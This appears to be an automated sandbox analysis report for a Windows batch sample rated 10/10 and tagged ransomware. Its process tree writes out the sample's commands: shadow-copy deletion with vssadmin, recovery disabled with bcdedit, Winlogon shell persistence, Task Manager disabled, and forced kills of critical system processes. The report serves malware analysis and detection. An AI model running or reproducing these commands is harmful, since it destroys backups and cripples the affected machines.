22e77448b1240d4fe54fb374f8f659cc22bdd4c6f2138bee2f4aef32f16d16e5

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/06/2026, 22:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f17dc138_.bat
Size 865B
Sample260624-2gp3vsgs2m
SHA256 22e77448b1240d4fe54fb374f8f659cc22bdd4c6f2138bee2f4aef32f16d16e5
MD5 a8ba5431612cb126fceb1121d778a2da
SHA1 3a84cfed184ddfc15c4167a734a9c6c4eb14e902
SHA512 1e669c8f769dea163c834d83324bd45b0df9695eb7a38ab8535f3bf4f0faaaf60f96b877223e3b7814325c92655622fbb05271fb8601e65d58c335cf3c1f9cd4
TLSH
T17C11A30115478722E652E4E0C5062543F36BF24B5831AD60B15370B8AD7D188CAFEFED
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion evasion execution impact persistence ransomware

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\payload.bat"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2776	bcdedit.exe
1752	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1520	vssadmin.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
1348	taskkill.exe
5692	taskkill.exe
4052	taskkill.exe
1992	taskkill.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeBackupPrivilege	3896	vssvc.exe
Token: SeRestorePrivilege	3896	vssvc.exe
Token: SeAuditPrivilege	3896	vssvc.exe
Token: SeDebugPrivilege	1348	taskkill.exe
Token: SeDebugPrivilege	5692	taskkill.exe
Token: SeDebugPrivilege	4052	taskkill.exe
Token: SeDebugPrivilege	1992	taskkill.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5544 wrote to memory of 3556	5544	cmd.exe	89
PID 5544 wrote to memory of 5732	5544	cmd.exe	90
PID 5544 wrote to memory of 1520	5544	cmd.exe	91
PID 5544 wrote to memory of 2776	5544	cmd.exe	94
PID 5544 wrote to memory of 1752	5544	cmd.exe	95
PID 5544 wrote to memory of 3008	5544	cmd.exe	96
PID 5544 wrote to memory of 1348	5544	cmd.exe	97
PID 5544 wrote to memory of 5692	5544	cmd.exe	100
PID 5544 wrote to memory of 4052	5544	cmd.exe	101
PID 5544 wrote to memory of 1992	5544	cmd.exe	102

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f17dc138_.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5544
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:3556
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\payload.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:5732
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1520
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2776
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1752
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- C:\Windows\system32\taskkill.exe
  taskkill /f /im lsass.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1348
- C:\Windows\system32\taskkill.exe
  taskkill /f /im wininit.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5692
- C:\Windows\system32\taskkill.exe
  taskkill /f /im services.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\system32\taskkill.exe
  taskkill /f /im csrss.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1992